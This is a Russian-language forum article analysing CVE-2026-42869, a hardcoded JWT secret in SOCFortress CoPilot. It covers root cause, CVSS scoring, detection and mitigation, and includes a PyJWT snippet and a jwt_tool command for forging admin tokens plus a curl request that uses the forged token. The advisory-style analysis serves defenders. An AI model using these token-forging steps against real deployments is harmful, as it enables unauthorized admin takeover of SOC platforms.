Файл
backend/app/auth/utils.py, строка 28. Именно здесь в SOCFortress CoPilot лежал захардкоженный JWT-секрет, который давал неаутентифицированному атакующему полный admin-доступ к платформе управления SIEM, SOAR и EDR. Тот же секрет продублирован в .env.example и попадал в каждый дефолтный Docker Compose deployment. Результат: CVSS 10.0 из 10.0, три CWE в одном компоненте, а CISA оценивает эксплуатацию как автоматизируемую с полным техническим импактом. Ни один русскоязычный источник на момент написания не дал ничего, кроме пересказа NVD-описания - ниже разбираем CVE-2026-42869 пошагово: от обнаружения секрета до подделки admin-токена и каскадной компрометации всего SOC-стека.Бизнес-логика атаки: зачем злоумышленнику захват SIEM-платформы
SOCFortress CoPilot позиционируется как «single pane of glass» для всех операций SOC: агрегация данных из Wazuh, Graylog, TheHive и других инструментов в одном интерфейсе. Для атакующего контроль над CoPilot - это не просто дашборд с графиками. Это:- Подавление алертов - любая последующая активность (lateral movement, data exfiltration) останется невидимой для SOC-команды
- Доступ к логам и IoC - понимание, что защитники уже видят и какие правила корреляции настроены
- Манипуляция SOAR-playbooks - изменение автоматических реакций на инциденты, чтобы они не срабатывали на реальную атаку
- Pivot через интеграции - API-ключи к подключённым инструментам открывают lateral movement вглубь инфраструктуры
Корневая причина: hardcoded JWT secret и три CWE в одном компоненте
CVE-2026-42869 накрывает сразу три класса слабостей. Каждый усиливает остальные.CWE-798: Use of Hard-coded Credentials
Секрет подписи JWT-токенов зашит в исходный код - файлbackend/app/auth/utils.py, строка 28. Это fallback-значение: если переменная окружения JWT_SECRET не задана, приложение берёт строку прямо из кода. По CWE-798, вероятность эксплуатации таких дефектов - High. Логично: секрет доступен любому, кто видит репозиторий.CWE-287: Improper Authentication
Весь механизм аутентификации CoPilot завязан на секретность ключа подписи. Раз ключ публично известен - валидация JWT-токенов формально работает, но фактически бесполезна. Атакующий генерирует токен с произвольными claims, включая admin scope, и приложение принимает его как легитимный. Замок есть, ключ - под ковриком.CWE-522: Insufficiently Protected Credentials
Секрет не только захардкожен в коде, но и продублирован открытым текстом в.env.example. Этот файл поставляется с репозиторием и предназначен для копирования в .env при быстром старте. Дефолтный Docker Compose setup использует именно это значение, если администратор не перезаписал его явно.Три CWE одновременно - не совпадение, а цепочка: секрет захардкожен (798), не защищён от чтения (522), и приложение полагается только на него для аутентификации (287).
Разбор CVSS-вектора: почему SOCFortress CoPilot получил 10.0
Вектор:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Компонент | Значение | Интерпретация |
|---|---|---|
| AV:N | Network | Эксплуатация по сети, физический доступ не нужен |
| AC:L | Low | Никаких специальных условий - секрет публичен |
| PR:N | None | Привилегии не требуются |
| UI:N | None | Действия пользователя не нужны |
| S:C | Changed | Компрометация выходит за границы уязвимого компонента |
| C:H / I:H / A:H | High | Полная потеря конфиденциальности, целостности и доступности |
Ключевой элемент - Scope: Changed. CoPilot управляет внешними системами через API-интеграции. Компрометация CoPilot каскадно ставит под удар Wazuh, Graylog, TheHive и любой другой подключённый инструмент. CVSS учитывает именно этот эффект.
По данным CISA Vulnrichment (ADP enrichment), уязвимость классифицирована по SSVC как Track* - «следить, готовить патч немедленно». Параметры: эксплуатация -
poc, автоматизируемость - yes, технический импакт - total. EPSS на момент оценки - 0.0044 (0.44% вероятность эксплуатации в 30 дней, percentile 0.3663), ниже медианы. Низкий EPSS при CVSS 10.0 и automatable=yes означает одно: массовых сканов пока нет, но написать такой сканер можно за вечер.Предусловия и ограничения эксплуатации
[Оба: внешний и внутренний пентест] Когда техника работает:- SOCFortress CoPilot ниже версии 0.1.57
- Переменная
JWT_SECRETНЕ задана явно - используется fallback из кода - Дефолтный Docker Compose deployment - наиболее вероятный сценарий
- CoPilot доступен атакующему по сети (HTTP/HTTPS на стандартном порту)
- CoPilot обновлён до 0.1.57+ (fallback удалён, advisory GHSA-4gxj-hw3c-3x2x)
- Администратор явно задал уникальный
JWT_SECRETчерез переменную окружения, даже на уязвимой версии - fallback не используется - CoPilot изолирован за VPN или firewall и недоступен атакующему
- На reverse proxy настроена дополнительная аутентификация (mTLS, Basic Auth перед CoPilot)
Пошаговая эксплуатация: от grep до подделки admin-токена JWT
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
описывают, какие поля создаются при аутентификации и какие проверяются при валидации. Открытый исходник - он и друг, и враг одновременно.
Шаг 3: подделка admin-токена
Имея секрет и структуру claims, генерация admin-scoped токена тривиальна. Ниже - пример с PyJWT (SECRET заменён плейсхолдером):
Python:
import jwt, time
SECRET = "<значение из utils.py:28>" # публично известный fallback
payload = {
"sub": "admin",
"role": "admin",
"scope": "admin",
"exp": int(time.time()) + 3600
}
token = jwt.encode(payload, SECRET, algorithm="HS256")
print(token)
sub, role, scope) нужно уточнить по исходному коду или перехваченному токену - они зависят от реализации CoPilot. Алгоритм подписи берётся из header легитимного JWT.Альтернативный путь - через
jwt_tool: команда jwt_tool <перехваченный_токен> -S hs256 -p "<secret>" -I -pc role -pv admin позволяет переподписать существующий токен с изменёнными claims без написания кода. Шесть строк на Python или одна команда в терминале - выбирайте по вкусу.Шаг 4: аутентификация и захват платформы
Сгенерированный токен подставляется в HTTP-заголовок при обращении к API CoPilot:
Bash:
curl -H "Authorization: Bearer <forged_token>" \
https://<copilot-host>/api/v1/users
По MITRE ATT&CK полная цепочка: Exploit Public-Facing Application (T1190, Initial Access) → Forge Web Credentials (T1606, Credential Access) → Valid Accounts (T1078, Persistence/Privilege Escalation).
Kill chain CVE-2026-42869 на MITRE ATT&CK
| Этап | Техника ATT&CK | Тактика |
|---|---|---|
| Получение секрета из репозитория/образа | Credentials In Files (T1552.001) | Credential Access |
| Обращение к CoPilot по сети | Exploit Public-Facing Application (T1190) | Initial Access |
| Генерация поддельного JWT | Forge Web Credentials (T1606) | Credential Access |
| Вход под admin scope | Valid Accounts (T1078) | Persistence, Privilege Escalation |
| Создание backdoor-аккаунтов | Account Manipulation (T1098) | Persistence |
| Удаление легитимных учётных записей | Account Access Removal (T1531) | Impact |
Обнаружение эксплуатации уязвимости SIEM CoPilot
Обнаружить JWT forgery сложнее, чем её выполнить - подделанный токен проходит стандартную валидацию, потому что подписан правильным ключом. Но точки детектирования есть.На уровне логов CoPilot: появление admin-сессий без предшествующего события login (POST на эндпоинт аутентификации). Если в логах видна admin-операция, но нет записи о вводе пароля - это индикатор подделки токена. Создание новых пользователей или изменение интеграций с IP-адресов, не входящих в whitelist администраторов - ещё один сигнал.
На уровне сети: HTTP-запросы с
Authorization: Bearer из неожиданных источников. Аномально короткий интервал между первым обращением к CoPilot и admin-операциями - атакующий приходит с готовым токеном, минуя фазу разведки. Он уже знает, что делать.Проактивная проверка: убедиться, что текущий
JWT_SECRET не совпадает с fallback-значением из исходного кода. Для контейнерных deployment:
Bash:
docker inspect <container> --format '{{range .Config.Env}}{{println .}}{{end}}' | grep JWT_SECRET
Митигация: обновление и ротация секретов
Основное исправление: обновление до SOCFortress CoPilot 0.1.57, где fallback-механизм удалён (advisory GHSA-4gxj-hw3c-3x2x).Если немедленное обновление невозможно:
- Явно задать уникальный
JWT_SECRETчерез переменные окружения - минимум 32 символа, криптографически случайная строка (openssl rand -hex 32) - Ограничить сетевой доступ к CoPilot через firewall или VPN
- Включить дополнительный слой аутентификации на reverse proxy
- Ротировать все API-ключи к подключённым инструментам (Wazuh, Graylog, TheHive)
- Инвалидировать все существующие JWT-сессии - принудительный re-login всех пользователей
- Провести аудит логов за весь период работы на дефолтном секрете: искать admin-операции без соответствующих событий login
- Проверить, не были ли созданы дополнительные admin-аккаунты
.env.example содержит рабочие значения для быстрого старта, пользователи запускают docker-compose up без правки дефолтов. Классика, которая повторяется из проекта в проект. Я прогонял trufflehog и gitleaks по репозиториям и Docker-образам Wazuh, TheHive, Graylog - и находил похожие паттерны с разной степенью критичности: от дефолтных паролей до API-ключей в коммит-истории. Разница в том, что CoPilot агрегирует эти инструменты в одной точке, и компрометация агрегатора означает каскадный провал всей защиты.EPSS 0.44% при CVSS 10.0 создаёт ложное ощущение безопасности - «критично, но вряд ли тронут». CISA при этом оценивает атаку как автоматизируемую с полным техническим импактом. Шесть строк на Python - и у вас admin-токен. Вопрос не в том, появится ли публичный сканер, а когда. Ждать этого момента для патча - стратегия, которая каждый раз заканчивается инцидентом. Если хочется отработать JWT forgery от обнаружения секрета до admin takeover руками - на HackerLab есть web-задачи по аутентификации, где подобная механика встречается без последствий для чужой инфраструктуры.